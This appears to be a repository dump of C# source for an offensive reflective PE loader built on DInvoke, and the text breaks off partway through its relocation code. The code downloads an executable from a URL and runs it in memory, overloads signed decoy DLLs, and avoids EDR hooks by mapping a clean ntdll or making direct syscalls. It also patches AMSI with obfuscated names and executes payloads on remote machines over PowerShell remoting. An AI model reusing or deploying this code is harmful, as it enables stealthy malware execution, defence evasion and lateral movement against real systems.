IAT\r\n            RewriteModuleIAT(PEINFO, pImage);\r\n\r\n            // Set memory protections\r\n            SetModuleSectionPermissions(PEINFO, pImage);\r\n\r\n            // Free temp HGlobal\r\n            Marshal.FreeHGlobal(pModule);\r\n\r\n            // Prepare return object\r\n            Data.PE.PE_MANUAL_MAP ManMapObject = new Data.PE.PE_MANUAL_MAP\r\n            {\r\n                ModuleBase = pImage,\r\n                PEINFO = PEINFO\r\n            };\r\n\r\n            return ManMapObject;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Free a module that was mapped into the current process.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"PEMapped\">The metadata of the manually mapped module.</param>\r\n        public static void FreeModule(Data.PE.PE_MANUAL_MAP PEMapped)\r\n        {\r\n            // Check if PE was mapped via module overloading\r\n            if (!string.IsNullOrEmpty(PEMapped.DecoyModule))\r\n            {\r\n                DynamicInvoke.Native.NtUnmapViewOfSection((IntPtr)(-1), PEMapped.ModuleBase);\r\n            }\r\n            // If PE not mapped via module overloading, free the memory.\r\n            else\r\n            {\r\n                Data.PE.PE_META_DATA PEINFO = PEMapped.PEINFO;\r\n\r\n                // Get the size of the module in memory\r\n                IntPtr size = PEINFO.Is32Bit ? (IntPtr)PEINFO.OptHeader32.SizeOfImage : (IntPtr)PEINFO.OptHeader64.SizeOfImage;\r\n                IntPtr pModule = PEMapped.ModuleBase;\r\n\r\n                DynamicInvoke.Native.NtFreeVirtualMemory((IntPtr)(-1), ref pModule, ref size, Data.Win32.Kernel32.MEM_RELEASE);\r\n            }\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "DInvoke.ManualMap/Overload.cs",
    "content": "﻿using System;\r\nusing System.Collections.Generic;\r\nusing System.Diagnostics;\r\nusing System.IO;\r\nusing System.Linq;\r\n\r\nusing Data = DInvoke.Data;\r\nusing Utilities = DInvoke.Utilities;\r\nusing DynamicInvoke = DInvoke.DynamicInvoke;\r\n\r\nnamespace DInvoke.ManualMap\r\n{\r\n    public class Overload\r\n    {\r\n        /// <summary>\r\n        /// Locate a signed module with a minimum size which can be used for overloading.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover)</author>\r\n        /// <param name=\"MinSize\">Minimum module byte size.</param>\r\n        /// <param name=\"LegitSigned\">Whether to require that the module be legitimately signed.</param>\r\n        /// <returns>\r\n        /// String, the full path for the candidate module if one is found, or an empty string if one is not found.\r\n        /// </returns>\r\n        public static string FindDecoyModule(long MinSize, bool LegitSigned = true)\r\n        {\r\n            string SystemDirectoryPath = Environment.GetEnvironmentVariable(\"WINDIR\") + Path.DirectorySeparatorChar + \"System32\";\r\n            List<string> files = new List<string>(Directory.GetFiles(SystemDirectoryPath, \"*.dll\"));\r\n            foreach (ProcessModule Module in Process.GetCurrentProcess().Modules)\r\n            {\r\n                if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)))\r\n                {\r\n                    files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase)));\r\n                }\r\n            }\r\n\r\n            //Pick a random candidate that meets the requirements\r\n\r\n            Random r = new Random();\r\n            //List of candidates that have been considered and rejected\r\n            List<int> candidates = new List<int>();\r\n            while (candidates.Count != files.Count)\r\n            {\r\n                //Iterate through the list of files randomly\r\n                int rInt = r.Next(0, files.Count);\r\n                string currentCandidate = files[rInt];\r\n\r\n                //Check that the size of the module meets requirements\r\n                if (candidates.Contains(rInt) == false &&\r\n                    new FileInfo(currentCandidate).Length >= MinSize)\r\n                {\r\n                    //Check that the module meets signing requirements\r\n                    if (LegitSigned == true)\r\n                    {\r\n                        if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true)\r\n                            return currentCandidate;\r\n                        else\r\n                            candidates.Add(rInt);\r\n                    }\r\n                    else\r\n                        return currentCandidate;\r\n                }\r\n                candidates.Add(rInt);\r\n            }\r\n            return string.Empty;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that\r\n        /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"PayloadPath\">Full path to the payload module on disk.</param>\r\n        /// <param name=\"DecoyModulePath\">Optional, full path the decoy module to overload in memory.</param>\r\n        /// <returns>PE.PE_MANUAL_MAP</returns>\r\n        public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true)\r\n        {\r\n            // Get approximate size of Payload\r\n            if (!File.Exists(PayloadPath))\r\n            {\r\n                throw new InvalidOperationException(\"Payload filepath not found.\");\r\n            }\r\n            byte[] Payload = File.ReadAllBytes(PayloadPath);\r\n\r\n            return OverloadModule(Payload, DecoyModulePath, LegitSigned);\r\n        }\r\n\r\n        /// <summary>\r\n        /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that\r\n        /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory.\r\n        /// </summary>\r\n        /// <author>The Wover (@TheRealWover), Ruben Boonen (@FuzzySec)</author>\r\n        /// <param name=\"Payload\">Full byte array for the payload module.</param>\r\n        /// <param name=\"DecoyModulePath\">Optional, full path the decoy module to overload in memory.</param>\r\n        /// <returns>PE.PE_MANUAL_MAP</returns>\r\n        public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true)\r\n        {\r\n            // Did we get a DecoyModule?\r\n            if (!string.IsNullOrEmpty(DecoyModulePath))\r\n            {\r\n                if (!File.Exists(DecoyModulePath))\r\n                {\r\n                    throw new InvalidOperationException(\"Decoy filepath not found.\");\r\n                }\r\n                byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath);\r\n                if (DecoyFileBytes.Length < Payload.Length)\r\n                {\r\n                    throw new InvalidOperationException(\"Decoy module is too small to host the payload.\");\r\n                }\r\n            }\r\n            else\r\n            {\r\n                DecoyModulePath = FindDecoyModule(Payload.Length);\r\n                if (string.IsNullOrEmpty(DecoyModulePath))\r\n                {\r\n                    throw new InvalidOperationException(\"Failed to find suitable decoy module.\");\r\n                }\r\n            }\r\n\r\n            // Map decoy from disk\r\n            Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDisk(DecoyModulePath);\r\n            IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? (IntPtr)DecoyMetaData.PEINFO.OptHeader32.SizeOfImage : (IntPtr)DecoyMetaData.PEINFO.OptHeader64.SizeOfImage;\r\n\r\n            // Change permissions to RW\r\n            DynamicInvoke.Native.NtProtectVirtualMemory((IntPtr)(-1), ref DecoyMetaData.ModuleBase, ref RegionSize, Data.Win32.WinNT.PAGE_READWRITE);\r\n\r\n            // Zero out memory\r\n            DynamicInvoke.Native.RtlZeroMemory(DecoyMetaData.ModuleBase, (int)RegionSize);\r\n\r\n            // Overload module in memory\r\n            Data.PE.PE_MANUAL_MAP OverloadedModuleMetaData = Map.MapModuleToMemory(Payload, DecoyMetaData.ModuleBase);\r\n            OverloadedModuleMetaData.DecoyModule = DecoyModulePath;\r\n\r\n            return OverloadedModuleMetaData;\r\n        }\r\n    }\r\n}\r\n"
  },
  {
    "path": "Program.cs",
    "content": "﻿/*\r\nDynamic PE Reflective Loader/Injector for x86 and x64  \r\n*/\r\n\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\nusing System.IO;\r\nusing System.Collections.Generic;\r\nusing static DInvoke.Data.PE;\r\nusing static DInvoke.DynamicInvoke.Generic;\r\nusing DInvoke.ManualMap;\r\nusing System.Net;\r\nusing System.Linq;\r\nusing System.Diagnostics;\r\nusing System.Reflection;\r\nusing System.Management.Automation;\r\nusing System.Management.Automation.Runspaces;\r\nusing System.Security.Principal;\r\nusing System.Threading;\r\nusing System.IO.Pipes;\r\n\r\n\r\nvoid print(object input) { Console.WriteLine(input); }\r\nvoid PrintExit(object input) { Console.WriteLine(input); Environment.Exit(0); } // useful for debuggin\r\nvoid exit() { Environment.Exit(0); }\r\n\r\nbyte[] unpacked = new byte[] { };\r\n\r\nstring url = null;\r\nstring PE_b64 = null;\r\nstring fromfile = null;\r\nstring Args = \"\";\r\nstring ComputerName = null;\r\nbool PatchExitProcs = false;\r\nbool useSysCalls = false;\r\nbool PSRemoting = false;\r\nbool RedirectOutPut = false;\r\nbool DisableLocalSuicide = false;\r\n\r\n// -DisableForceExit\r\nvoid ParseCLIArguments() // a DYI Parser XD\r\n{\r\n    void DisplayArgHelp()\r\n    {\r\n        Console.WriteLine(\"\\n-url, -u          url to the binary to download\");\r\n        Console.WriteLine(\"\\n-file, -f         full path to a binary to execute [useful when executing local PE on a remote machine]\");\r\n        Console.WriteLine(\"\\n-b64PE            pass the entire PE as B64 encoded blob (if you are a mad person)\");\r\n        Console.WriteLine(\"\\n-Args, -args, -a  Arguments to be passed to Exe [Optional]\");\r\n        Console.WriteLine(\"\\n-patch_exit       Patch CorExit and ExitProcess to ExitThread [you know what is it if you need it XD]\");\r\n        Console.WriteLine(\"\\n-syscalls         Instead of Mapping ntdll, will use dynamic syscalls [Hell's Gate Technique]\");\r\n        Console.WriteLine(\"\\n-ComputerName     use powershell remoting to execute the PE on a target machine [Optional] (Retrieves output)\");\r\n        Console.WriteLine(\"\\n-DisableForceExit Disable the 1.5 Minute Maximum Runtime Enforcement [Ex: if running interactive mimikatz]\");\r\n        Console.WriteLine(\"\\n-help             Display this help screen.\");\r\n        Console.WriteLine(\"\\n\\nusage: .\\\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n        Console.WriteLine(\"usage: .\\\\SharpReflectivePEInjection.exe -b64PE <BASE64 PE_BLOB> [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n        Console.WriteLine(\"usage: .\\\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n    }\r\n\r\n    if (args.Length == 0) { DisplayArgHelp(); Environment.Exit(0); }\r\n\r\n    for (int arg = 0; arg < args.Length; arg++)\r\n    {\r\n        if (args[arg] == \"-url\" || args[arg] == \"-u\") { url = args[arg + 1]; }\r\n        \r\n        if (args[arg] == \"-Args\" ) { Args = args[arg + 1]; }\r\n        if (args[arg] == \"-args\") { Args = args[arg + 1]; }\r\n        if (args[arg] == \"-a\") { Args = args[arg + 1]; }\r\n\r\n        if (args[arg] == \"-b64PE\") { PE_b64 = args[arg + 1]; }\r\n        if (args[arg] == \"-syscalls\") { useSysCalls = true; }\r\n        if (args[arg] == \"-patch_exit\") { PatchExitProcs = true; }\r\n        if (args[arg] == \"-help\" || args[arg] == \"-h\" || args[arg] == \"--help\") { DisplayArgHelp(); Environment.Exit(0); }\r\n        if (args[arg] == \"-ComputerName\") { PSRemoting = true; ComputerName = args[arg + 1];}\r\n        if (args[arg] == \"RedirectOutPut\") { RedirectOutPut = true; } // this flag is for internal use only\r\n        if (args[arg] == \"-DisableForceExit\") { DisableLocalSuicide = true; }\r\n        if (args[arg] == \"-file\" || args[arg] == \"-f\") { fromfile = args[arg + 1]; }\r\n\r\n    }\r\n    \r\n\r\n}\r\n\r\nParseCLIArguments();\r\n\r\n// this function will run locally and the rest of the code will will be ran reflectively on remote target\r\n// Gets the PE in whatever method the user specifies and always passes it to remote reflector in Base64 format\r\n// allows for bypassing network based restrictions (ex: target machine can't reach the payload server to download the PE)\r\n// allows for easily passing a local PE to remote machine using the (-file) argument\r\nvoid PSRemotingReflection() \r\n{\r\n    GetPE();\r\n    \r\n    string b64EXE = Convert.ToBase64String(unpacked);\r\n    \r\n    var filteredArgs = new List<string>(); // construct arguments for execution stub\r\n    string[] CLI_ARGS = Environment.GetCommandLineArgs();\r\n    for (int i = 1; i < CLI_ARGS.Length; i++)\r\n    {\r\n        if (CLI_ARGS[i] == \"-url\" || CLI_ARGS[i] == \"-u\") { filteredArgs.Add($\"\\\"-b64PE\\\"\"); filteredArgs.Add($\"\\\"{b64EXE}\\\"\"); print(\"[*] Passed binary to remote reflector\"); }\r\n        if (CLI_ARGS[i] == \"-file\" || CLI_ARGS[i] == \"-f\" ) { filteredArgs.Add($\"\\\"-b64PE\\\"\"); filteredArgs.Add($\"\\\"{b64EXE}\\\"\"); print(\"[*] Passed binary to remote reflector\"); }\r\n\r\n        if (!CLI_ARGS[i].Contains(\"ComputerName\") && CLI_ARGS[i] != ComputerName) { filteredArgs.Add($\"\\\"{CLI_ARGS[i]}\\\"\"); }\r\n\r\n\r\n    }\r\n    filteredArgs.Add(\"\\\"RedirectOutPut\\\"\"); // this will trigger stdout and stderr redirection so output can be retrieved remotely\r\n\r\n    string psArgs = string.Join(\",\", filteredArgs);\r\n    psArgs = $\"({psArgs})\";\r\n\r\n    if (!string.IsNullOrEmpty(url))\r\n    {\r\n        psArgs = psArgs.Replace(url, null);\r\n        psArgs = psArgs.Replace(\"-url\", null);\r\n        psArgs = psArgs.Replace(\"-u\", null);\r\n    }\r\n    if (!string.IsNullOrEmpty(fromfile))\r\n    {\r\n        psArgs = psArgs.Replace(fromfile, null);\r\n        psArgs = psArgs.Replace(\"-file\", null);\r\n        psArgs = psArgs.Replace(\"-f\", null);\r\n    }\r\n    \r\n    //PrintExit(psArgs);\r\n    print(\"[*] Constructed arguments to be passed with powershell remoting\");\r\n   \r\n    \r\n    Assembly currentAssembly = Assembly.GetExecutingAssembly(); //get the currently running assembly's bytes\r\n    string assemblyLocation = currentAssembly.Location;\r\n    byte[] assemblyBytes;\r\n    string b64ASM;\r\n    using (FileStream fileStream = new FileStream(assemblyLocation, FileMode.Open, FileAccess.Read))\r\n    {\r\n        using (BinaryReader binaryReader = new BinaryReader(fileStream))\r\n        {\r\n            assemblyBytes = binaryReader.ReadBytes((int)fileStream.Length);\r\n            print(\"[*] Retrieved Current Assembly Bytes\");\r\n\r\n            b64ASM = Convert.ToBase64String(assemblyBytes);\r\n        }\r\n    }\r\n\r\n    \r\n    // (Nasty oneliner) XD\r\n    string powerhsell_script = $\"$object = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(\\\"{b64ASM}\\\")); $bindingFlags = [Reflection.BindingFlags]\\\"Public,NonPublic,Static\\\"; $type=$object.GetType(\\\"Program\\\");$method = $type.GetMethod(\\\"<Main>$\\\",$bindingFlags);$method.Invoke($null, (, [string[]] {psArgs}) ) \";\r\n\r\n    print(\"[*] Constructed a powershell oneliner\");\r\n\r\n    //PrintExit(powerhsell_script);\r\n    // opening a remote WinRM connection with current user context\r\n    \r\n    Uri WsmanUri = new Uri($\"http://{ComputerName}:5985/wsman\");\r\n    WSManConnectionInfo RemoteWinRM = null; \r\n    WindowsIdentity CurrentUser = WindowsIdentity.GetCurrent();\r\n    if (CurrentUser != null)\r\n    {\r\n        string user = CurrentUser.Name;\r\n        print($\"[+] Identity Context: {user}\");\r\n\r\n        PSCredential creds = new(user); \r\n\r\n        RemoteWinRM = new(WsmanUri);\r\n        RemoteWinRM.Credential = creds;\r\n        \r\n    }\r\n    else { print(\"[-] couldn't find an identity to use with PSRemoting\"); }\r\n\r\n    // open a remote powershell unmanaged runspace\r\n    \r\n    using (Runspace UnManagedRunSpace = RunspaceFactory.CreateRunspace(RemoteWinRM))\r\n    {\r\n        UnManagedRunSpace.Open(); // open the unmanaged runspace\r\n        print(\"[*] opened a remote powershell runspace (unmanaged)\");\r\n        using (PowerShell pwsh = PowerShell.Create())\r\n        {\r\n            \r\n\r\n            pwsh.Runspace = UnManagedRunSpace; \r\n            pwsh.AddScript(powerhsell_script).AddCommand(\"Out-String\");\r\n\r\n\r\n            print(\"[+] Suicide Burn before remote Invokation ....\"); // this trick is from BetterSafetyKatz repo ;)\r\n            Thread.Sleep(3268); // thats just a random number i clicked XD\r\n            print(\"[*] Invoking stub in the remote runspace\");\r\n\r\n            Thread tstdout = new Thread(() => { ReadStdOut(ComputerName); });\r\n            Thread tstderr = new Thread(() => { ReadStdErr(ComputerName); });\r\n\r\n            tstdout.Start();\r\n            tstderr.Start();\r\n\r\n            try { pwsh.Invoke(); } catch { /* me if you can ;) */ }\r\n\r\n            \r\n            Process.GetCurrentProcess().Kill(); // kill the current process directly after output to avoid endless execution loops\r\n        }\r\n\r\n    }\r\n\r\n}\r\n\r\nvoid ReadStdOut(string ComputerName) \r\n{\r\n    Console.WriteLine(\"[+] starting STDOUT remote reader pipe client\");\r\n    string pipeName = \"stdout\";\r\n\r\n    using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(ComputerName, pipeName, PipeDirection.In, PipeOptions.None, TokenImpersonationLevel.Impersonation))\r\n    {\r\n        pipeClient.Connect();\r\n        using (StreamReader reader = new StreamReader(pipeClient))\r\n        {\r\n            string line;\r\n            if ((line = reader.ReadLine()) == null) { Console.WriteLine(\"[i] did not receive any data on stdout pipe\"); }\r\n            while ((line = reader.ReadLine()) != null)\r\n            {\r\n                Console.WriteLine(line);\r\n            }\r\n        }\r\n        Process.GetCurrentProcess().Dispose();\r\n        Process.GetCurrentProcess().Kill(); // killing immediatly after read so it doesn't bug out\r\n    }\r\n}\r\n/* (ReadStd*) functions are made to read redirected stdout and stderr when executing PEs remotely*/\r\nvoid ReadStdErr(string ComputerName)\r\n{\r\n    Console.WriteLine(\"[+] starting STDERR remote reader pipe client\");\r\n    string pipeName = \"stderr\";\r\n    using (NamedPipeClientStream pipeClient = new NamedPipeClientStream(ComputerName, pipeName, PipeDirection.In, PipeOptions.None,\r\n                    TokenImpersonationLevel.Impersonation))\r\n    {\r\n        pipeClient.Connect();\r\n        using (StreamReader reader = new StreamReader(pipeClient))\r\n        {\r\n            string line;\r\n            int counter = 0;\r\n            while ((line = reader.ReadLine()) != null)\r\n            {\r\n                Console.WriteLine(line);\r\n                counter++;\r\n                if (counter == 10) { break; }\r\n            }\r\n        }\r\n        Console.WriteLine(\"[+] Disposing all resources and killing the process\");\r\n        Console.WriteLine(\"[*] Suicide Will Take Care of Remote Cleanup (if there is any)\");\r\n        Process.GetCurrentProcess().Dispose();\r\n        Process.GetCurrentProcess().Kill(); // killing immediatly after read so it doesn't bug out\r\n\r\n    }\r\n}\r\n\r\n\r\n\r\nif (PSRemoting) { PSRemotingReflection(); } // calls itself reflectively on a remote machine without setting PSremoting true again\r\n\r\n\r\nvoid GetPE()\r\n{\r\n\r\n    if (string.IsNullOrEmpty(url) && !string.IsNullOrEmpty(PE_b64)) // base64 encoding\r\n    {\r\n        print(\"[*] unpacking binary from base64 blob\");\r\n        unpacked = Convert.FromBase64String(PE_b64);\r\n    }\r\n\r\n\r\n    if (string.IsNullOrEmpty(url) && string.IsNullOrEmpty(PE_b64) &&  !string.IsNullOrEmpty(fromfile)) { // get from local file\r\n        print(\"[*] Reading Binary From File\");\r\n        unpacked = File.ReadAllBytes(fromfile);\r\n    }\r\n\r\n    if (string.IsNullOrEmpty(PE_b64) && !string.IsNullOrEmpty(url)) // download from a url\r\n    {\r\n        using (WebClient downloadPE = new WebClient())\r\n        {\r\n            Console.WriteLine($\"[*] Downloading PE from {url}\");\r\n            unpacked = downloadPE.DownloadData(url);\r\n\r\n\r\n        }\r\n    }\r\n}\r\nGetPE();\r\nif (string.IsNullOrEmpty(url) && string.IsNullOrEmpty(PE_b64) && string.IsNullOrEmpty(fromfile))\r\n{\r\n    print(\"usage: .\\\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n    print(\"usage: .\\\\SharpReflectivePEInjection.exe -b64PE <BASE64 PE_BLOB> [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n    print(\"usage: .\\\\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args \\\"<EXE_ARGS>\\\"]\");\r\n    print(\"\\nfor full help: .\\\\SharpReflectivePEInjection.exe -h \");\r\n    exit();\r\n}\r\n\r\n\r\n\r\n// mapping DLLs\r\nPE_MANUAL_MAP ntdll = new();\r\nif (!useSysCalls)\r\n{\r\n    ntdll = Map.MapModuleFromDisk(@\"C:\\Windows\\System32\\ntdll.dll\"); /* Replaced Map.MapModuleToMemory with Map.MapModuleFromDisk to make it work with x32 */\r\n    Console.WriteLine(\"[*] Mapped a clean version of ntdll (no hooks here)\");\r\n}\r\nelse { print(\"[*] using SysCalls, Will Not Map ntdll\"); }\r\n\r\n\r\n\r\n// NtAllocate\r\nIntPtr ntva_ptr;\r\nif (useSysCalls) { ntva_ptr = GetSyscallStub(\"NtAllocateVirtualMemory\"); } else { ntva_ptr = GetExportAddress(ntdll.ModuleBase, \"NtAllocateVirtualMemory\"); }\r\nNtAllocateVirtualMemory NtAllocateVirtualMemory = Marshal.GetDelegateForFunctionPointer<NtAllocateVirtualMemory>(ntva_ptr);\r\n//\r\n\r\n//NtProtect (the only way i was able to get it to work)\r\nIntPtr ntvp_ptr;\r\nif (useSysCalls) { ntvp_ptr = GetSyscallStub(\"NtProtectVirtualMemory\"); } else { ntvp_ptr = GetExportAddress(ntdll.ModuleBase, \"NtProtectVirtualMemory\"); }\r\nobject NtProtectVirtualMemory(IntPtr pHandle, IntPtr Address, IntPtr NtSize, uint AccessMask, uint OldProtection)\r\n{\r\n    object[] NtVPArgs = { pHandle, Address, NtSize, AccessMask, OldProtection };\r\n    return DynamicFunctionInvoke(ntvp_ptr, typeof(NtProtectVirtualMemory), ref NtVPArgs);\r\n}\r\n//\r\n\r\n// NtFree\r\nIntPtr ntvf_ptr;\r\nif (useSysCalls) { ntvf_ptr = GetSyscallStub(\"NtFreeVirtualMemory\"); } else { ntvf_ptr = GetExportAddress(ntdll.ModuleBase, \"NtFreeVirtualMemory\"); }\r\nNtFreeVirtualMemory NtFreeVirtualMemory = Marshal.GetDelegateForFunctionPointer<NtFreeVirtualMemory>(ntvf_ptr);\r\n//\r\n\r\n// NtCreateThreadEx\r\nIntPtr ntct_ptr;\r\nif (useSysCalls) { ntct_ptr = GetSyscallStub(\"NtCreateThreadEx\"); } else { ntct_ptr = GetExportAddress(ntdll.ModuleBase, \"NtCreateThreadEx\"); }\r\nNtCreateThreadEx NtCreateThreadEx = Marshal.GetDelegateForFunctionPointer<NtCreateThreadEx>(ntct_ptr);\r\n//\r\n\r\n// NtClose\r\nIntPtr ntc;\r\nif (useSysCalls) { ntc = GetSyscallStub(\"NtClose\"); } else { ntc = GetExportAddress(ntdll.ModuleBase, \"NtClose\"); }\r\nNtClose NtClose = Marshal.GetDelegateForFunctionPointer<NtClose>(ntc);\r\n//\r\n\r\n//NtWaitForSingleObject\r\nIntPtr NtWait; // direct syscall made easy XD, i fuckin love D/Invoke\r\nif (useSysCalls) { NtWait = GetSyscallStub(\"NtWaitForSingleObject\"); } else { NtWait = GetExportAddress(ntdll.ModuleBase, \"NtWaitForSingleObject\"); }\r\nNtWaitForSingleObject NtWaitForSingleObject = Marshal.GetDelegateForFunctionPointer<NtWaitForSingleObject>(NtWait);\r\n\r\n//kernelbase.dll functions\r\nIntPtr SetStdptr = GetLibraryAddress(\"kernelbase.dll\", \"SetStdHandle\", true);\r\nSetStdHandle SetStdHandle = Marshal.GetDelegateForFunctionPointer<SetStdHandle>(SetStdptr);\r\n\r\nIntPtr HandleInfoptr = GetLibraryAddress(\"kernelbase.dll\", \"SetHandleInformation\", true); ;\r\nSetHandleInformation SetHandleInformation = Marshal.GetDelegateForFunctionPointer<SetHandleInformation>(HandleInfoptr);\r\n//\r\n\r\n// constants\r\nconst uint MEM_COMMIT = 0x1000;\r\nconst uint PAGE_EXECUTE_READWRITE = 0x40;\r\nconst uint PAGE_EXECUTEREAD = 0x20;\r\nconst uint PAGE_READWRITE = 0x04;\r\nconst uint THREAD_ALL_ACCESS = 0x1FFFFF;\r\n//\r\n\r\n\r\nvoid AmziPatcher()\r\n{ // patching A.M.S.I, //will add AES decryption routine to obfuscate the names\r\n\r\n    try\r\n    {\r\n        uint OldProtection = 0;\r\n\r\n\r\n        IntPtr func = GetLibraryAddress(\"a\"+\"m\"+\"s\"+\"i\"+\".dll\", \"A\"+\"m\"+\"s\"+\"i\"+\"S\"+\"c\"+\"a\"+\"n\"+\"B\"+\"u\"+\"f\"+\"f\"+\"e\"+\"r\", true);\r\n        \r\n        // return arch appropriat patch, patch from rasta mouse\r\n        byte[] patch = IntPtr.Size == 8 ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };\r\n\r\n        IntPtr NtPatchSize = new IntPtr(patch.Length);\r\n\r\n        _ = NtProtectVirtualMemory(new IntPtr(-1),  func, NtPatchSize, PAGE_READWRITE, OldProtection);\r\n\r\n        Marshal.Copy(patch, 0, func, patch.Length);\r\n        print(\"[*] Patched A.M.Z.I!\");\r\n        _ = NtProtectVirtualMemory(new IntPtr(-1), func, NtPatchSize, OldProtection, OldProtection);\r\n    }\r\n    catch {/* pokemon */}\r\n\r\n}\r\nAmziPatcher();\r\n\r\n\r\nIMAGE_DOS_HEADER dosHeader = new();\r\nIMAGE_OPTIONAL_HEADER64 OptionalHeader64 = new();\r\nIMAGE_OPTIONAL_HEADER32 OptionalHeader32 = new();\r\nIMAGE_FILE_HEADER FileHeader = new();\r\nIMAGE_SECTION_HEADER[] ImageSectionHeaders;\r\nbool Is32bitPE = false;\r\n\r\n\r\n\r\n// CaseySmith's PELoader Constructor, but modified to DInvoke\r\nusing (MemoryStream stream = new MemoryStream(unpacked, 0, unpacked.Length))\r\n{\r\n    BinaryReader reader = new BinaryReader(stream);\r\n    dosHeader = FromBinaryReader<IMAGE_DOS_HEADER>(reader);\r\n\r\n    // Add 4 bytes to the offset\r\n    stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);\r\n\r\n    UInt32 ntHeadersSignature = reader.ReadUInt32();\r\n    FileHeader = FromBinaryReader<IMAGE_FILE_HEADER>(reader);\r\n\r\n    UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;\r\n    bool Is32BitHeader = (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;\r\n\r\n    if (Is32BitHeader)\r\n    {\r\n        OptionalHeader32 = FromBinaryReader<IMAGE_OPTIONAL_HEADER32>(reader);\r\n        Is32bitPE = true;\r\n    }\r\n    else\r\n    {\r\n        OptionalHeader64 = FromBinaryReader<IMAGE_OPTIONAL_HEADER64>(reader);\r\n    }\r\n\r\n    ImageSectionHeaders = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections];\r\n    for (int headerNo = 0; headerNo < ImageSectionHeaders.Length; ++headerNo)\r\n    {\r\n        ImageSectionHeaders[headerNo] = FromBinaryReader<IMAGE_SECTION_HEADER>(reader);\r\n    }\r\n\r\n    // after populating close and dispose all memory resources of BinaryReader\r\n    reader.Dispose();\r\n    reader.Close();\r\n\r\n\r\n\r\n}\r\nstatic T FromBinaryReader<T>(BinaryReader reader) // CaseySmith's PELoader FromBinaryReader Method\r\n{\r\n    \r\n    byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));\r\n    \r\n    GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);\r\n    T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));\r\n    handle.Free();\r\n\r\n    return theStructure;\r\n}\r\n\r\nif (Is32bitPE)\r\n{\r\n\r\n    print(\"[*] Loading 32-bit PE, x86 memory layout will apply\");\r\n}\r\nelse\r\n{\r\n    print(\"[*] Loading 64-bit PE, x64 memory layout will apply\");\r\n}\r\n\r\n\r\nuint SizeOfImage = Is32bitPE == true ? OptionalHeader32.SizeOfImage : OptionalHeader64.SizeOfImage;\r\nIntPtr NtSizeOfImage = new IntPtr(SizeOfImage);\r\nIntPtr CurrentProcessHandle = (IntPtr)(-1);\r\n\r\nIntPtr codebase = IntPtr.Zero;\r\n\r\nNtAllocateVirtualMemory((IntPtr)(-1), ref codebase, IntPtr.Zero, ref NtSizeOfImage, MEM_COMMIT, PAGE_READWRITE);\r\n\r\n\r\n\r\n\r\n// Copy Sections\r\nfor (int SectionIndex = 0; SectionIndex < FileHeader.NumberOfSections; SectionIndex++)\r\n{\r\n\r\n    IntPtr SectionAddress = IntPtr.Add(codebase, (int)ImageSectionHeaders[SectionIndex].VirtualAddress);\r\n    uint SectionSize = ImageSectionHeaders[SectionIndex].SizeOfRawData;\r\n    IntPtr NtSectionSize = new IntPtr(SectionSize);\r\n    if (SectionSize != 0)\r\n    {\r\n        NtAllocateVirtualMemory(CurrentProcessHandle, ref SectionAddress, IntPtr.Zero, ref NtSectionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n        Marshal.Copy(unpacked, (int)ImageSectionHeaders[SectionIndex].PointerToRawData, SectionAddress, (int)SectionSize);\r\n    }\r\n    else continue;\r\n}\r\nprint(\"[*] Mapped Sections\"); // if there is any errors its mostly comming from here, its not always DNS, its always Relocations :\\\r\n\r\n\r\n\r\n// relocations\r\n\r\nvar ImageBase = Is32bitPE == true ? OptionalHeader32.ImageBase : OptionalHeader64.ImageBase;\r\nvar delta = Is32bitPE == true ? codebase.ToInt32() - (int)ImageBase : codebase.ToInt64() - (long)ImageBase;\r\nvar BaseRelocationRVA = Is32bitPE == true ? OptionalHeader32.BaseRelocationTable.VirtualAddress : OptionalHeader64.BaseRelocationTable.VirtualAddress;\r\n\r\n\r\nIntPtr RelocationTablePtr = IntPtr.Add(codebase, 